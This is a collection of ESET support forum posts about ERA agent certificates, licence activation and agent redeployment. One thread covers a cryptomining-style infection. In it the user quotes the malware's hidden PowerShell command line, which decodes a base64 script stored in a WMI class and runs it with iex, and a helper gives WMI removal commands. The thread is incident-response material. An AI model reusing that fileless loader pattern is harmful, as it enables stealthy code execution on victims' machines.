[ERA Agent not accepting certificates - Invalid PFX certificate]

Good day

I have recently reinstalled the ESET remote administrator on a new server.

I have begun pointing the current ERA Agents to the new server as the the old server no longer exists. 

One of our servers refuses to accept the peer certificate, I get the below message:

All our other servers accept the certificates with no issues, I have tried uninstalling the Agent, generating new certificates and it refuses to accept it.

I am unable to monitor this server via the ERA, is there perhaps anything else I can try?

Thanks

[Activation failure - After ESET Admin server crash]

2 minutes ago, Marcos said:

You can install ERAS (ideally deploy a virtual appliance which is the quickest way) and deploy ERA agent to clients. This way you'll make Endpoints and ERA agent manageable by the new ERAS and you will be able to adjust policies for both products.

Thanks Marcos

I am struggling to find the information on how to do this? The previous link provided by Michal doesn't seem to have this information or I might be a tad blind.

[Activation failure - After ESET Admin server crash]

Well that's great...

I have just finished this project now and all our ESET clients are no longer pointing to the correct server. So I am assuming that I will need to remove the clients software manually?

[Activation failure - After ESET Admin server crash]

Hi Michal

Thanks for the reply.

I have checked as per your request, this is what I see:

There is definitely something configured here, obviously our ESET server, however I am unable to configure anything within it.

I also followed the instructions as per the article suggested, unfortunately the same problem persists.

I see you mentioned we will need to remove the old policies from the clients, how does one go about doing that?

[Installation - Is there an easier way?]

1 hour ago, MichalJ said:

You can easily redeploy the ERA agent using any of the supported methods (push deployment, live installers, GPO/SCCM...)

If you have SCCM / GPO in place, the best method will be to deploy the ERA agent using this. If the ERA agent version is the same, as the one currently installed, it will execute "repair" = meaning update the ERA server connection information and also the new certificates.

PS: Crashing ERA server should never affect if product is activated or not. ERA is not acting as "licensing authority", it´s also a "transfer agent" for the licenses, meaning, when you start "software activation", it will deliver a token, that will Endpoint then exchange for license, upon connection to ESET licensing servers.  Haven´t you recently performed an upgrade to Endpoint 6.6.2068.0 (or any other 6.6)? There were issues with this build, which could have resulted into situation, when Endpoint was claiming it does not have valid license credentials, and was not able to update.

How does one implement the supported methods? As we have GPO in place however not SCCM. We do have SCCM planned but it will not be implemented anytime soosn.

Is there perhaps instructions somewhere where I can do this?

No I haven't performed an upgrade, is there perhaps documentation on that?

PS: I am the junior (I don't have the greatest knowledge) at my company and was given this to rectify, unfortunately no one here knows how it works, so I have been trying to figure out. I have fiddled with the admin console quite a bit but there are a lot of settings which I am unsure of.

[Activation failure - After ESET Admin server crash]

We had a server that the ESET Administration software was installed on.

There was recently a critical issue on it, theVM needed to be rebuilt, we used the existing vhd drives the VM used previously therefore nothing was changed (Server FQDN and IP address remain the same)

I am now having a problem where I am unable to activate the ESET endpoint security software (new installed versions and already existing ESET installations) , it either hangs on the product activation screen or fail (Error code: ECP.4098) such as below:

 

What could be the problem?

[Installation - Is there an easier way?]

Let me explain our current situation:

We previously had a server set up solely for ESET, there were problems with it which led to the server crashing and we lost the era_db and nothing was recoverable.

We had many computers and servers with ESET installed that have now deactivated themselves, I am assuming due to the server being down ESET deactivated itself . Starting from scratch we had rebuild the server (we used a new IP address and name as the previous details were now being used for another server). This left the ESET administrator agents pointing to a server that no longer existed.

We rebuilt a new server for ESET and the Admin Console.

With regards to the already existing ESET Endpoint Security software on client machines, I have been doing it manually by uninstalling the remote agent or repairing the agent with the new certificates in order for it to point to the correct server however we are a company of 200+ users and this has proven to be a mammoth task as I am the only one doing it. Plus doing it manually requires me to go to the client machine, log into the local administrator profile and adjust the software, sometimes it fails due to the services running and I then have to disable the services, restart the machine and repair or reinstall the software depending on the situation. With 200+ users this will take a incredibly as I am doing it on my own and the current way of doing ridiculously long.

Is there a way to remotely deploy ESET and it's agent or to reconfigure the agent remotely without having to manually add the certificates yourself to have ESET update?

I will appreciate any feedback highly as this taking up so much time.

[ESET File Security - Hanging & Deactivating itself]

Hi Marcos

All of our servers are VMs.

Most of our servers are VMs and most of them have one network adapter. Thus there is no way the MAC address could have changed.

Kind regards

[ESET File Security - Hanging & Deactivating itself]

Good day

A few of our servers keep deactivating their ESET licenses thus the UI reads the product is not active. It can happen multiple times to the same server.

Yet when I got to ela web page I can see the machine is yellow. Reactivating it will use another license and after a while it will deactivate again.

These seems to happen on our client machines as well. 

This is quite worry some as it is happening all over our environment, some work with no issues other hang, after a restart the same problem persists. This is becoming critical as our some of most crucial server become vulnerable at random intervals .

Kind regards

 

[Administrative Functions]

Good day all

The employee responsible for managing ESET at our establishment has left our company and I have logged onto the ESET administrator console is a complete mess. Furthermore we have a small dedicated server for the ESET administrator console but the server was rebuilt a few months back due to OS corruption and was not backed up thus some of the variables have changed. 

Some of our ESET Agents on our client machines are still pointing to the old server details thus they are not showing up on the Administrative console. We are now in a position that half of our client machines have the ESET remote agents with the incorrect management/console server details, a large number of them are not activated and some machines with no ESET installed at all. A few computers have been decommissioned yet their ESET licenses were never removed or stopped thus we have licensed machines that no longer exist.

As you can tell this has been neglected for a while and I would like to have this rectified.

The reason why I decided to post here is that I have basic knowledge on the ESET Administrator Console, I know this console is incredibly power and I would like to use it to it's full potential.

In the meanwhile, I will be renaming all our machines to a new naming convention as our current one does not makes it difficult to point out which machine is the affect one.

• Is there way to get all the old agents to point to the new management server? I have recreated the certificates to manually point the remote agents to the newer management server however we have many users and doing this manually will take a large amount of time.
• Is there a way to remotely deploy ESET on PC that does not have ESET?
• Is there a way to tell which old decommed computers still have a license?
• Are there any other useful functions that may assist with the above mentioned?

Kind regards

[PowerShell Script - Possible Malicious Attack]

17 hours ago, itman said:

Here's an article on preventing RDP brute force attacks: https://blog.watchpointdata.com/rdp-brute-force-attack-detection-and-blacklisting-with-powershell . You could duplicate the outbound Win firewall rule shown in Eset's firewall rules.

As far as AppContainer goes which I believe is only available on the Win Enterprise vers., it by default runs Powershell in Constrained Language mode which restricts what will be allowed. For example, Powershell assemblies running from a .Net based app are disallowed. Additional you can configure via AppContainer policy setting that only signed Powershell scripts are allowed to run.

Thanks for the information I will definitely look into this.

[PowerShell Script - Possible Malicious Attack]

On 11/2/2017 at 9:48 PM, itman said:

Are you running Win 10 on the clients? Also are you using AppContainer?

Hi itman

Yes but few and far between. No we are not using AppContianer.

On 11/2/2017 at 7:28 PM, JamesR said:

Here are some PowerShell commands to remove the WMI infections. 

1. First open PowerShell as admin

2. Run the commands

3. Reboot and rerun the vbs script I provided.  If its a one line text file, then you are clean on that server.

4. Verify servers and workstations are patched for EternalBlue using this tool https://help.eset.com/eset_tools/ESETEternalBlueChecker.exe (full instructions for use here: https://support.eset.com/kb6481/ )

5. Close port 3389 on your router (this is likely open and needs to be closed while you reset all passwords for all users)
To prevent an RDP brute force, you can enforce password policies to log out after a handful of attempts.  Also implementing 2FA will prevent a password from being used, if it is compromised.  ESET does have a 2FA product.  Let us know if you are interested in that.

 

Get-WMIObject -Namespace root\Subscription -Class __EventFilter -filter "Name= 'SCM Event Filter'" |remOVe-WMIObject  -Verbose
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMIObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%SCM Event Consumer%'" | REmOVE-WMIObject -Verbose
([WmiClass]'root\default:Win32_TaskService') | Remove-WMIObject -Verbose

Get-WMIObject -Namespace root\Subscription -Class  ActiveScriptEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMIObject -Verbose

This last command ins't needed for your environment.  But run it just in case my logging didn't find any ActiveScriptEventConsumer items.

 

 

 

Hi James

Apologies for the delay, was working hard to squash this malware.

I would like to send you a huge thanks.

It seems your scripts have worked. A lot of our server VM's had the EternalBlue exploit thus the malware spread rapidly. All our VM's have been patched and the script has been cleared off our environment, everything appears to have stabilized. 

I will continue to monitor the situation to ensure nothing rears it's ugly head again.

Unfortunately we are unable to close port 3389 as we provide a service to our clients that require the RDP to our terminal servers. We have to consider an alternative in the near future to prevent this from happening again,

Again thank you very much for your help!!!

Kind regards  

[PowerShell Script - Possible Malicious Attack]

10 minutes ago, itman said:

Also recommend you run SysInternals Autoruns and look for any WMI command/consumer event scripts that you have not specifically created.

 

I will give this a shot.

Thanks for the tip.

[PowerShell Script - Possible Malicious Attack]

Hi James

Files have successfully uploaded. I feel more comfortable with the a secure location to share the files. 

Let me know if you require anything else from my side.

Appreciate the help!

EDIT: We have already contacted a security specialist who has taken a copy of one of our VM's and will be running a few tests in his lab. I would prefer that we leave no stone unturned. 

[PowerShell Script - Possible Malicious Attack]

Hi JamesR

Thank you very much for your response to the matter. I completed the aforementioned as per your request.

Unfortunately I am unable to upload the file on this forum as it states that .7z is not an accepted format. It only accepts .rar, may I use winrar?

Kind regards

 

[PowerShell Script - Possible Malicious Attack]

Good day Everyone

We are currently experiencing an issue where a powershell script is running on a couple of our VM's. This script is causing havoc on our servers as it is using 100% of the CPU rendering it slow and non responsive. We have created a new VM to test however the Powershell script immediately attacks the new machine as soon as we bring it up. 

We do have ESET, which is active and up to date however it did not pick up anything before and after the script's dubious activity.

When viewing the PowerShell command in Task manager it brings up the following:

-NoP -Nonl -W Hidden "$mon = ([WmiClass] 'root\default:Win32_TaskService').properties['mon'].Value;$funs = ([WmiClass] 'root\default:Win32_taskService').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.Getstring([System.Convert]::FromBase64String($funs)));Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void',0,",")"

We have softened the impact of this script by setting the priority to low and changed the affinity to 1 core via Task Manager however this script continues to run, we also checked the account that it is running on and we can see that it is running on the local system account, at first it was executed by our admin accounts.

I did use ProcessExplorer to get more information on it. According to ProcessExplorer I was able to determine a remote address ns3265193.ip-37-59-52eu:http and the state is connection established as per the below screen shot.

I also used to ProcessExplorer to generate a bit more information on the script:

I wrote the following Powershell script to see what properties the script is looking for:

([WmiClass] 'root\default:Win32_taskService').Properties['funs'].Value

This gave me the results in Base64 which I have decrypted and attached to this post. I am not the most code savvy person therefore I am not 100% sure what this script is doing. I do fear that this is something more serious as it hit us exactly two weeks ago and is really affecting our servers due to the CPU usage. As mentioned before we have lowered the impact on our servers however this threat is very much alive and is constantly running in our environment. 

If you need anything else from me feel free to ask and I will get it to you ASAP.

Kind regards

Decrypted.txt

[Firewall not functional issue]

Hi Marcos

I think there may have been a bit of confusion with the remote administrator console.

We initially had problems installing ESET on the machine however our third attempt was successful. Which seemed to have confused the remote administrator as the workstation experiencing the aforementioned problems was repeated three times on the remote administrator. 1 reported no problems and the other 2 were reporting that the firewall was no problem.

So it seems like the remote administrator though it was 3 computers were the same name and the other two reporting the firewall not functional was the previous unsuccessful attempts.

Thanks you for your response on the matter but we have finally figured the issue. 

[Firewall not functional issue]

Hello

Experiencing a bit of an issue here.

As per the .jpeg below the ESET remote administrator states that one of our computer's firewall is not fuctional:

 

So I though I would google the issue but I see most users experiencing this issue do not have the ESET personal firewall in their LAN Properties as per below:

I have tried to reinstall and the same problem still persists. I have followed the below however I can't seem to come right as the firewall refuses to return to a functioning state and have run out of ideas.